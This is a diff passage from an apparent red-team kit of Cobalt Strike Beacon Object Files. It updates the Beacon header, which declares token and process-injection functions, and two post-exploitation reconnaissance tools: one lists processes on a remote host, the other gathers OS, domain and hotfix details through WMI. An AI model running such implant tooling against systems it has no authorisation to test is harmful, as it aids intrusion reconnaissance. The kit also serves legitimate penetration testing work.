-DECLSPEC_IMPORT int     BeaconDataInt(datap * parser);
-DECLSPEC_IMPORT short   BeaconDataShort(datap * parser);
-DECLSPEC_IMPORT int     BeaconDataLength(datap * parser);
-DECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);
-
-/* format API */
-typedef struct {
-	char * original; /* the original buffer [so we can free it] */
-	char * buffer;   /* current pointer into our buffer */
-	int    length;   /* remaining length of data */
-	int    size;     /* total size of this buffer */
-} formatp;
-
-DECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);
-DECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);
-DECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, char * text, int len);
-DECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, char * fmt, ...);
-DECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);
-DECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);
-DECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);
-
-/* Output Functions */
-#define CALLBACK_OUTPUT      0x0
-#define CALLBACK_OUTPUT_OEM  0x1e
-#define CALLBACK_OUTPUT_UTF8 0x20
-#define CALLBACK_ERROR       0x0d
-
-DECLSPEC_IMPORT void   BeaconOutput(int type, char * data, int len);
-DECLSPEC_IMPORT void   BeaconPrintf(int type, char * fmt, ...);
-
-
-/* Token Functions */
-DECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);
-DECLSPEC_IMPORT void   BeaconRevertToken();
-DECLSPEC_IMPORT BOOL   BeaconIsAdmin();
-
-/* Spawn+Inject Functions */
-DECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
-DECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
-DECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
-DECLSPEC_IMPORT BOOL   BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
-DECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
-
-/* Utility Functions */
+/*
+ * Beacon Object Files (BOF)
+ * -------------------------
+ * A Beacon Object File is a light-weight post exploitation tool that runs
+ * with Beacon's inline-execute command.
+ *
+ * Additional BOF resources are available here:
+ *   - https://github.com/Cobalt-Strike/bof_template
+ *
+ * Cobalt Strike 4.x
+ * ChangeLog:
+ *    1/25/2022: updated for 4.5
+ */
+
+/* data API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} datap;
+
+DECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);
+DECLSPEC_IMPORT char *  BeaconDataPtr(datap * parser, int size);
+DECLSPEC_IMPORT int     BeaconDataInt(datap * parser);
+DECLSPEC_IMPORT short   BeaconDataShort(datap * parser);
+DECLSPEC_IMPORT int     BeaconDataLength(datap * parser);
+DECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);
+
+/* format API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} formatp;
+
+DECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);
+DECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, char * text, int len);
+DECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, char * fmt, ...);
+DECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);
+DECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);
+
+/* Output Functions */
+#define CALLBACK_OUTPUT      0x0
+#define CALLBACK_OUTPUT_OEM  0x1e
+#define CALLBACK_OUTPUT_UTF8 0x20
+#define CALLBACK_ERROR       0x0d
+
+DECLSPEC_IMPORT void   BeaconOutput(int type, char * data, int len);
+DECLSPEC_IMPORT void   BeaconPrintf(int type, char * fmt, ...);
+
+
+/* Token Functions */
+DECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);
+DECLSPEC_IMPORT void   BeaconRevertToken();
+DECLSPEC_IMPORT BOOL   BeaconIsAdmin();
+
+/* Spawn+Inject Functions */
+DECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
+DECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT BOOL   BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
+DECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
+
+/* Utility Functions */
 DECLSPEC_IMPORT BOOL   toWideChar(char * src, wchar_t * dst, int max);

+ 84 - 108
KIT/PSremote/psremote.c

@@ -5,146 +5,122 @@
 #include "psremote.h"
 
 
-
-//https://github.com/outflanknl/C2-Tool-Collection/blob/main/BOF/Psx/SOURCE/Psx.c
-HRESULT BeaconPrintToStreamW(_In_z_ LPCWSTR lpwFormat, ...) {
-	HRESULT hr = S_FALSE;
-	va_list argList;
-	DWORD dwWritten = 0;
-
-	if (g_lpStream <= (LPSTREAM)1) {
-		hr = OLE32$CreateStreamOnHGlobal(NULL, TRUE, &g_lpStream);
-		if (FAILED(hr)) {
-			return hr;
-		}
-	}
-
-	if (g_lpwPrintBuffer <= (LPWSTR)1) {  
-		g_lpwPrintBuffer = (LPWSTR)MSVCRT$calloc(MAX_STRING, sizeof(WCHAR));
-		if (g_lpwPrintBuffer == NULL) {
-			hr = E_FAIL;
-			goto CleanUp;
-		}
-	}
-
-	va_start(argList, lpwFormat);
-	if (!MSVCRT$_vsnwprintf_s(g_lpwPrintBuffer, MAX_STRING, MAX_STRING -1, lpwFormat, argList)) {
-		hr = E_FAIL;
-		goto CleanUp;
-	}
-
-	if (g_lpStream != NULL) {
-		if (FAILED(hr = g_lpStream->lpVtbl->Write(g_lpStream, g_lpwPrintBuffer, (ULONG)MSVCRT$wcslen(g_lpwPrintBuffer) * sizeof(WCHAR), &dwWritten))) {
-			goto CleanUp;
-		}
-	}
-
-	hr = S_OK;
-
-CleanUp:
-
-	if (g_lpwPrintBuffer != NULL) {
-		MSVCRT$memset(g_lpwPrintBuffer, 0, MAX_STRING * sizeof(WCHAR)); 
-	}
-
-	va_end(argList);
-	return hr;
+//START TrustedSec BOF print code: https://github.com/trustedsec/CS-Situational-Awareness-BOF/blob/master/src/common/base.c
+#ifndef bufsize
+#define bufsize 8192
+#endif
+char *output = 0;  
+WORD currentoutsize = 0;
+HANDLE trash = NULL; 
+int bofstart();
+void internal_printf(const char* format, ...);
+void printoutput(BOOL done);
+
+int bofstart() {   
+    output = (char*)MSVCRT$calloc(bufsize, 1);
+    currentoutsize = 0;
+    return 1;
 }
 
-//https://github.com/outflanknl/C2-Tool-Collection/blob/main/BOF/Psx/SOURCE/Psx.c
-VOID BeaconOutputStreamW() {
-	STATSTG ssStreamData = { 0 };
-	SIZE_T cbSize = 0;
-	ULONG cbRead = 0;
-	LARGE_INTEGER pos;
-	LPWSTR lpwOutput = NULL;
-
-	if (FAILED(g_lpStream->lpVtbl->Stat(g_lpStream, &ssStreamData, STATFLAG_NONAME))) {
-		return;
-	}
-
-	cbSize = ssStreamData.cbSize.LowPart;
-	lpwOutput = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, cbSize + 1);
-	if (lpwOutput != NULL) {
-		pos.QuadPart = 0;
-		if (FAILED(g_lpStream->lpVtbl->Seek(g_lpStream, pos, STREAM_SEEK_SET, NULL))) {
-			goto CleanUp;
-		}
-
-		if (FAILED(g_lpStream->lpVtbl->Read(g_lpStream, lpwOutput, (ULONG)cbSize, &cbRead))) {		
-			goto CleanUp;
-		}
-
-		BeaconPrintf(CALLBACK_OUTPUT, "%ls", lpwOutput);
-	}
-
-CleanUp:
-
-	if (g_lpStream != NULL) {
-		g_lpStream->lpVtbl->Release(g_lpStream);
-		g_lpStream = NULL;
-	}
-
-	if (g_lpwPrintBuffer != NULL) {
-		MSVCRT$free(g_lpwPrintBuffer); 
-		g_lpwPrintBuffer = NULL;
-	}
-
-	if (lpwOutput != NULL) {
-		KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, lpwOutput);
-	}
+void internal_printf(const char* format, ...){
+    int buffersize = 0;
+    int transfersize = 0;
+    char * curloc = NULL;
+    char* intBuffer = NULL;
+    va_list args;
+    va_start(args, format);
+    buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); 
+    va_end(args);
+    
+    if (buffersize == -1) return;
+    
+    char* transferBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, bufsize);
+	intBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, buffersize);
+    va_start(args, format);
+    MSVCRT$vsnprintf(intBuffer, buffersize, format, args); 
+    va_end(args);
+    if(buffersize + currentoutsize < bufsize) 
+    {
+        MSVCRT$memcpy(output+currentoutsize, intBuffer, buffersize);
+        currentoutsize += buffersize;
+    } else {
+        curloc = intBuffer;
+        while(buffersize > 0)
+        {
+            transfersize = bufsize - currentoutsize;
+            if(buffersize < transfersize) 
+            {
+                transfersize = buffersize;
+            }
+            MSVCRT$memcpy(output+currentoutsize, curloc, transfersize);
+            currentoutsize += transfersize;
+            if(currentoutsize == bufsize)
+            {
+                printoutput(FALSE); 
+            }
+            MSVCRT$memset(transferBuffer, 0, transfersize); 
+            curloc += transfersize; 
+            buffersize -= transfersize;
+        }
+    }
+	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, intBuffer);
+	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, transferBuffer);
+}
 
-	return;
+void printoutput(BOOL done) {
+    char * msg = NULL;
+    BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize);
+    currentoutsize = 0;
+    MSVCRT$memset(output, 0, bufsize);
+    if(done) {MSVCRT$free(output); output=NULL;}
 }
+//END TrustedSec BOF print code.
 
 
 BOOL ListProcesses(HANDLE handleTargetHost) {
-
 	WTS_PROCESS_INFOA * proc_info;
 	DWORD pi_count = 0;
 	LPSTR procName; 
-	WCHAR WCprocName[256];
 	BOOL RemoteProc = FALSE;
-	
+
 	if (!WTSAPI32$WTSEnumerateProcessesA(handleTargetHost, 0, 1, &proc_info, &pi_count)) {
-		 BeaconPrintf(CALLBACK_ERROR, "Failed to get a valid handle to the specified host!\n");
+		BeaconPrintf(CALLBACK_ERROR, "Failed to get a valid handle to the specified host!\n");
 		return RemoteProc;
 	}
-	
-	BeaconPrintToStreamW(L"\nProcess name\t\t\t\tPID\t\t\tSessionID\n");
-	BeaconPrintToStreamW(L"-----------------------------------------------------------------------------------\n");
-	for (int i = 0 ; i < pi_count ; i++ ) {
+
+	internal_printf("\nProcess name\t\t\t\tPID\t\t\tSessionID\n");
+	internal_printf("===================================================================================\n");
+	for (int i = 0; i < pi_count; i++) {
 		procName = proc_info[i].pProcessName;
-		KERNEL32$MultiByteToWideChar(CP_ACP, 0, procName, -1, WCprocName, 256);
-		BeaconPrintToStreamW(L"%-40s\t%d\t%23d\n",WCprocName ,proc_info[i].ProcessId ,proc_info[i].SessionId);
+		internal_printf("%-40s\t%d\t%23d\n", procName, proc_info[i].ProcessId, proc_info[i].SessionId);
 		RemoteProc = TRUE;
 	}
 	WTSAPI32$WTSCloseServer(handleTargetHost);
 	return RemoteProc;
 }
 
+
 void go(char *args, int len) {
-	
-	CHAR *hostName;
+	CHAR *hostName = "";
 	datap parser;
 	DWORD argSize = NULL;
 	HANDLE handleTargetHost = NULL;
 	BOOL res = NULL;
 
 	BeaconDataParse(&parser, args, len);
-    hostName = BeaconDataExtract(&parser, &argSize);
+	hostName = BeaconDataExtract(&parser, &argSize);
+	if(!bofstart()) return;
 
 	handleTargetHost = WTSAPI32$WTSOpenServerA(hostName);
 	res = ListProcesses(handleTargetHost);
-	
-	if(!res) {
-		BeaconPrintf(CALLBACK_ERROR, "[-] Couldn't list remote processes. Do you have enough privileges on the remote host?\n");
-		return 0;
+
+	if (!res) {
+		BeaconPrintf(CALLBACK_ERROR, "Couldn't list remote processes. Do you have enough privileges on the target host?\n");
 	}
-	else  {
-		BeaconOutputStreamW();
+	else {
+		printoutput(TRUE);
 		BeaconPrintf(CALLBACK_OUTPUT, "[+] Finished enumerating.");
 	}
-
 	return 0;
-}
+}
+

+ 23 - 25
KIT/PSremote/psremote.h

@@ -1,25 +1,23 @@
-#include <windows.h>
-
-//ListProcesses
-DECLSPEC_IMPORT HANDLE WINAPI WTSAPI32$WTSOpenServerA(LPSTR pServerName);
-DECLSPEC_IMPORT BOOL WINAPI WTSAPI32$WTSEnumerateProcessesA(HANDLE hServer, DWORD Reserved, DWORD Version, PWTS_PROCESS_INFOA *ppProcessInfo, DWORD *pCount);
-DECLSPEC_IMPORT HANDLE WINAPI WTSAPI32$WTSCloseServer(HANDLE hServer);
-DECLSPEC_IMPORT int WINAPI KERNEL32$MultiByteToWideChar(UINT CodePage, DWORD dwFlags, _In_NLS_string_(cbMultiByte)LPCCH lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar);
-
-
-//BeaconPrintToStreamW + BeaconOutputStreamW
-#define MAX_STRING 8192
-INT g_iGarbage = 1;
-LPSTREAM g_lpStream = (LPSTREAM)1;
-LPWSTR g_lpwPrintBuffer = (LPWSTR)1;
-DECLSPEC_IMPORT HRESULT WINAPI OLE32$CreateStreamOnHGlobal(HGLOBAL hGlobal, BOOL fDeleteOnRelease, LPSTREAM *ppstm);
-WINBASEAPI void *__cdecl MSVCRT$calloc(size_t number, size_t size);
-WINBASEAPI int __cdecl MSVCRT$_vsnwprintf_s(wchar_t *buffer, size_t sizeOfBuffer, size_t count, const wchar_t *format, va_list argptr);
-WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t *_Str);
-WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
-WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
-WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
-WINBASEAPI void __cdecl MSVCRT$free(void *memblock);
-WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);
-
-
+#include <windows.h>
+
+//ListProcesses
+DECLSPEC_IMPORT HANDLE WINAPI WTSAPI32$WTSOpenServerA(LPSTR pServerName);
+DECLSPEC_IMPORT BOOL WINAPI WTSAPI32$WTSEnumerateProcessesA(HANDLE hServer, DWORD Reserved, DWORD Version, PWTS_PROCESS_INFOA *ppProcessInfo, DWORD *pCount);
+DECLSPEC_IMPORT HANDLE WINAPI WTSAPI32$WTSCloseServer(HANDLE hServer);
+DECLSPEC_IMPORT int WINAPI KERNEL32$MultiByteToWideChar(UINT CodePage, DWORD dwFlags, _In_NLS_string_(cbMultiByte)LPCCH lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar);
+
+
+//bofstart + internal_printf + printoutput
+WINBASEAPI void *__cdecl MSVCRT$calloc(size_t number, size_t size);
+WINBASEAPI int WINAPI MSVCRT$vsnprintf(char* buffer, size_t count, const char* format, va_list arg);
+WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
+WINBASEAPI void* WINAPI MSVCRT$memcpy(void* dest, const void* src, size_t count);
+WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
+WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
+WINBASEAPI void __cdecl MSVCRT$free(void *memblock);
+WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);
+
+
+
+
+

BIN
KIT/PSremote/psremote.o


+ 85 - 104
KIT/SystemInfo/systeminfo.c

@@ -4,97 +4,76 @@
 #include "beacon.h"
 
 
-//https://github.com/outflanknl/C2-Tool-Collection/blob/main/BOF/Psx/SOURCE/Psx.c
-HRESULT BeaconPrintToStreamW(_In_z_ LPCWSTR lpwFormat, ...) {
-	HRESULT hr = S_FALSE;
-	va_list argList;
-	DWORD dwWritten = 0;
-
-	if (g_lpStream <= (LPSTREAM)1) {
-		hr = OLE32$CreateStreamOnHGlobal(NULL, TRUE, &g_lpStream);
-		if (FAILED(hr)) {
-			return hr;
-		}
-	}
-
-	if (g_lpwPrintBuffer <= (LPWSTR)1) { 
-		g_lpwPrintBuffer = (LPWSTR)MSVCRT$calloc(MAX_STRING, sizeof(WCHAR));
-		if (g_lpwPrintBuffer == NULL) {
-			hr = E_FAIL;
-			goto CleanUp;
-		}
-	}
-
-	va_start(argList, lpwFormat);
-	if (!MSVCRT$_vsnwprintf_s(g_lpwPrintBuffer, MAX_STRING, MAX_STRING -1, lpwFormat, argList)) {
-		hr = E_FAIL;
-		goto CleanUp;
-	}
-
-	if (g_lpStream != NULL) {
-		if (FAILED(hr = g_lpStream->lpVtbl->Write(g_lpStream, g_lpwPrintBuffer, (ULONG)MSVCRT$wcslen(g_lpwPrintBuffer) * sizeof(WCHAR), &dwWritten))) {
-			goto CleanUp;
-		}
-	}
-
-	hr = S_OK;
-
-CleanUp:
-
-	if (g_lpwPrintBuffer != NULL) {
-		MSVCRT$memset(g_lpwPrintBuffer, 0, MAX_STRING * sizeof(WCHAR)); // Clear print buffer.
-	}
-
-	va_end(argList);
-	return hr;
+//START TrustedSec BOF print code: https://github.com/trustedsec/CS-Situational-Awareness-BOF/blob/master/src/common/base.c
+#ifndef bufsize
+#define bufsize 8192
+#endif
+char *output = 0;  
+WORD currentoutsize = 0;
+HANDLE trash = NULL; 
+int bofstart();
+void internal_printf(const char* format, ...);
+void printoutput(BOOL done);
+
+int bofstart() {   
+    output = (char*)MSVCRT$calloc(bufsize, 1);
+    currentoutsize = 0;
+    return 1;
 }
 
-//https://github.com/outflanknl/C2-Tool-Collection/blob/main/BOF/Psx/SOURCE/Psx.c
-VOID BeaconOutputStreamW() {
-	STATSTG ssStreamData = { 0 };
-	SIZE_T cbSize = 0;
-	ULONG cbRead = 0;
-	LARGE_INTEGER pos;
-	LPWSTR lpwOutput = NULL;
-
-	if (FAILED(g_lpStream->lpVtbl->Stat(g_lpStream, &ssStreamData, STATFLAG_NONAME))) {
-		return;
-	}
-
-	cbSize = ssStreamData.cbSize.LowPart;
-	lpwOutput = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, cbSize + 1);
-	if (lpwOutput != NULL) {
-		pos.QuadPart = 0;
-		if (FAILED(g_lpStream->lpVtbl->Seek(g_lpStream, pos, STREAM_SEEK_SET, NULL))) {
-			goto CleanUp;
-		}
-
-		if (FAILED(g_lpStream->lpVtbl->Read(g_lpStream, lpwOutput, (ULONG)cbSize, &cbRead))) {		
-			goto CleanUp;
-		}
-
-		BeaconPrintf(CALLBACK_OUTPUT, "%ls", lpwOutput);
-	}
-
-CleanUp:
-
-	if (g_lpStream != NULL) {
-		g_lpStream->lpVtbl->Release(g_lpStream);
-		g_lpStream = NULL;
-	}
-
-	if (g_lpwPrintBuffer != NULL) {
-		MSVCRT$free(g_lpwPrintBuffer);
-		g_lpwPrintBuffer = NULL;
-	}
-
-	if (lpwOutput != NULL) {
-		KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, lpwOutput);
-	}
-
-	return;
+void internal_printf(const char* format, ...){
+    int buffersize = 0;
+    int transfersize = 0;
+    char * curloc = NULL;
+    char* intBuffer = NULL;
+    va_list args;
+    va_start(args, format);
+    buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); 
+    va_end(args);
+    
+    if (buffersize == -1) return;
+    
+    char* transferBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, bufsize);
+	intBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, buffersize);
+    va_start(args, format);
+    MSVCRT$vsnprintf(intBuffer, buffersize, format, args); 
+    va_end(args);
+    if(buffersize + currentoutsize < bufsize) 
+    {
+        MSVCRT$memcpy(output+currentoutsize, intBuffer, buffersize);
+        currentoutsize += buffersize;
+    } else {
+        curloc = intBuffer;
+        while(buffersize > 0)
+        {
+            transfersize = bufsize - currentoutsize;
+            if(buffersize < transfersize) 
+            {
+                transfersize = buffersize;
+            }
+            MSVCRT$memcpy(output+currentoutsize, curloc, transfersize);
+            currentoutsize += transfersize;
+            if(currentoutsize == bufsize)
+            {
+                printoutput(FALSE); 
+            }
+            MSVCRT$memset(transferBuffer, 0, transfersize); 
+            curloc += transfersize; 
+            buffersize -= transfersize;
+        }
+    }
+	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, intBuffer);
+	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, transferBuffer);
 }
 
+void printoutput(BOOL done) {
+    char * msg = NULL;
+    BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize);
+    currentoutsize = 0;
+    MSVCRT$memset(output, 0, bufsize);
+    if(done) {MSVCRT$free(output); output=NULL;}
+}
+//END TrustedSec BOF print code.
 
 
 int go() {
@@ -109,6 +88,8 @@ int go() {
 	BSTR strNetworkResource = NULL;
 	BSTR strQueryLanguage = NULL;
 	BSTR strQuery = NULL;
+	
+	if(!bofstart()) return;
 
     hr = OLE32$CoInitializeEx(NULL, COINIT_MULTITHREADED);
     if (FAILED(hr)) goto cleanup;
@@ -138,7 +119,7 @@ int go() {
     hr = pSvc->lpVtbl->ExecQuery(pSvc, strQueryLanguage, strQuery, WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY, NULL, &pEnumerator);
     if (FAILED(hr)) goto cleanup;
 	
-	BeaconPrintToStreamW(L"===================SYSTEM INFORMATION===================\n\n");
+	internal_printf("===================SYSTEM INFORMATION===================\n\n");
 
     while (pEnumerator) {
         hr = pEnumerator->lpVtbl->Next(pEnumerator, WBEM_INFINITE, 1, &pclsObj, &uReturn);
@@ -151,37 +132,37 @@ int go() {
         }
 		
         hr = pclsObj->lpVtbl->Get(pclsObj, L"Caption", 0, &vtProp, 0, 0);	
-		BeaconPrintToStreamW(L"%-20s %s\n", L"OS Name:", vtProp.bstrVal);
+		internal_printf("%-20ls %ls\n", L"OS Name:", vtProp.bstrVal);
         OLEAUT32$VariantClear(&vtProp);
 		
 		
 		hr = pclsObj->lpVtbl->Get(pclsObj, L"Version", 0, &vtProp, 0, 0);	
-		BeaconPrintToStreamW(L"%-20s %s\n", L"OS Version:", vtProp.bstrVal);
+		internal_printf("%-20ls %ls\n", L"OS Version:", vtProp.bstrVal);
         OLEAUT32$VariantClear(&vtProp);
 		
 		hr = pclsObj->lpVtbl->Get(pclsObj, L"ProductType", 0, &vtProp, 0, 0);	
 		switch(vtProp.uintVal) {
-			case 1: BeaconPrintToStreamW(L"%-20s Standalone Workstation\n", L"OS Configuration:"); break;
-			case 2: BeaconPrintToStreamW(L"%-20s Domain Controller\n", L"OS Configuration:"); break;
-			case 3: BeaconPrintToStreamW(L"%-20s Server\n", L"OS Configuration:"); break;
-			default: BeaconPrintToStreamW(L"%-20s Unknown\n", L"OS Configuration:");
+			case 1: internal_printf("%-20ls Standalone Workstation\n", L"OS Configuration:"); break;
+			case 2: internal_printf("%-20ls Domain Controller\n", L"OS Configuration:"); break;
+			case 3: internal_printf("%-20ls Server\n", L"OS Configuration:"); break;
+			default: internal_printf("%-20ls Unknown\n", L"OS Configuration:");
 		}
 		OLEAUT32$VariantClear(&vtProp);
 		
 		hr = pclsObj->lpVtbl->Get(pclsObj, L"RegisteredUser", 0, &vtProp, 0, 0);	
-		BeaconPrintToStreamW(L"%-20s %s\n", L"Registered Owner:", vtProp.bstrVal);
+		internal_printf("%-20ls %ls\n", L"Registered Owner:", vtProp.bstrVal);
         OLEAUT32$VariantClear(&vtProp);
 		
 		hr = pclsObj->lpVtbl->Get(pclsObj, L"WindowsDirectory", 0, &vtProp, 0, 0);	
-		BeaconPrintToStreamW(L"%-20s %s\n", L"Windows Directory:", vtProp.bstrVal);
+		internal_printf("%-20ls %ls\n", L"Windows Directory:", vtProp.bstrVal);
         OLEAUT32$VariantClear(&vtProp);
 		
 		hr = pclsObj->lpVtbl->Get(pclsObj, L"LastBootUpTime", 0, &vtProp, 0, 0);	
-		BeaconPrintToStreamW(L"%-20s %s\n", L"System Boot Time:", vtProp.bstrVal);
+		internal_printf("%-20ls %ls\n", L"System Boot Time:", vtProp.bstrVal);
         OLEAUT32$VariantClear(&vtProp);
 		
 		hr = pclsObj->lpVtbl->Get(pclsObj, L"Locale", 0, &vtProp, 0, 0);	
-		BeaconPrintToStreamW(L"%-20s %s\n", L"System Locale:", vtProp.bstrVal);
+		internal_printf("%-20ls %ls\n", L"System Locale:", vtProp.bstrVal);
         OLEAUT32$VariantClear(&vtProp);
 		
 		SomethingToPrint = 1;
@@ -202,15 +183,15 @@ int go() {
         }
 		
 		hr = pclsObj->lpVtbl->Get(pclsObj, L"Model", 0, &vtProp, 0, 0);	
-		BeaconPrintToStreamW(L"%-20s %s\n", L"System Model:", vtProp.bstrVal);
+		internal_printf("%-20ls %ls\n", L"System Model:", vtProp.bstrVal);
         OLEAUT32$VariantClear(&vtProp);
 		
 		hr = pclsObj->lpVtbl->Get(pclsObj, L"SystemType", 0, &vtProp, 0, 0);	
-		BeaconPrintToStreamW(L"%-20s %s\n", L"System Type:", vtProp.bstrVal);
+		internal_printf("%-20ls %ls\n", L"System Type:", vtProp.bstrVal);
         OLEAUT32$VariantClear(&vtProp);
 		
 		hr = pclsObj->lpVtbl->Get(pclsObj, L"Domain", 0, &vtProp, 0, 0);	
-		BeaconPrintToStreamW(L"%-20s %s\n", L"Domain:", vtProp.bstrVal);
+		internal_printf("%-20ls %ls\n", L"Domain:", vtProp.bstrVal);
         OLEAUT32$VariantClear(&vtProp);
 
         pclsObj->lpVtbl->Release(pclsObj);
@@ -222,7 +203,7 @@ int go() {
     hr = pSvc->lpVtbl->ExecQuery(pSvc, strQueryLanguage, strQuery, WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY, NULL, &pEnumerator);
     if (FAILED(hr)) goto cleanup;
 
-	BeaconPrintToStreamW(L"Hotfixes Installed:\n");
+	internal_printf("Hotfixes Installed:\n");
     while (pEnumerator) {
         hr = pEnumerator->lpVtbl->Next(pEnumerator, WBEM_INFINITE, 1, &pclsObj, &uReturn);
         if (0 == uReturn) {
@@ -230,7 +211,7 @@ int go() {
         }
 		
 		hr = pclsObj->lpVtbl->Get(pclsObj, L"HotFixID", 0, &vtProp, 0, 0);	
-		BeaconPrintToStreamW(L"%-20s %s\n", "", vtProp.bstrVal);
+		internal_printf("%-20ls %ls\n", L"", vtProp.bstrVal);
         OLEAUT32$VariantClear(&vtProp);
 	
         pclsObj->lpVtbl->Release(pclsObj);
@@ -247,7 +228,7 @@ cleanup:
 	
 	
 	if(SomethingToPrint) {
-		BeaconOutputStreamW();
+		printoutput(TRUE);
 	} else BeaconPrintf(CALLBACK_ERROR, "Failed to load system information.\n");
 	
     return 0;

+ 1 - 1
KIT/SystemInfo/systeminfo.cna

@@ -2,7 +2,7 @@
 
 beacon_command_register(
 	"systeminfo", "Enumerate system information.",
-	"INFO:\nEnumerate system information via WMI.\n" .
+	"INFO:\nEnumerate system information via WMI.\n\n" .
 	"USAGE:\nsysteminfo\n\n");
 	
 alias systeminfo {

+ 11 - 18
KIT/SystemInfo/systeminfo.h

@@ -1,22 +1,5 @@
 #include <windows.h>  
 
-//BeaconPrintToStreamW + BeaconOutputStreamW
-#define MAX_STRING 8192
-INT g_iGarbage = 1;
-LPSTREAM g_lpStream = (LPSTREAM)1;
-LPWSTR g_lpwPrintBuffer = (LPWSTR)1;
-DECLSPEC_IMPORT HRESULT WINAPI OLE32$CreateStreamOnHGlobal(HGLOBAL hGlobal, BOOL fDeleteOnRelease, LPSTREAM *ppstm);
-WINBASEAPI void *__cdecl MSVCRT$calloc(size_t number, size_t size);
-WINBASEAPI int __cdecl MSVCRT$_vsnwprintf_s(wchar_t *buffer, size_t sizeOfBuffer, size_t count, const wchar_t *format, va_list argptr);
-WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t *_Str);
-WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
-WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
-WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
-WINBASEAPI void __cdecl MSVCRT$free(void *memblock);
-WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);
-DECLSPEC_IMPORT int WINAPI KERNEL32$MultiByteToWideChar(UINT CodePage, DWORD dwFlags, _In_NLS_string_(cbMultiByte)LPCCH lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar);
-
-
 //Go
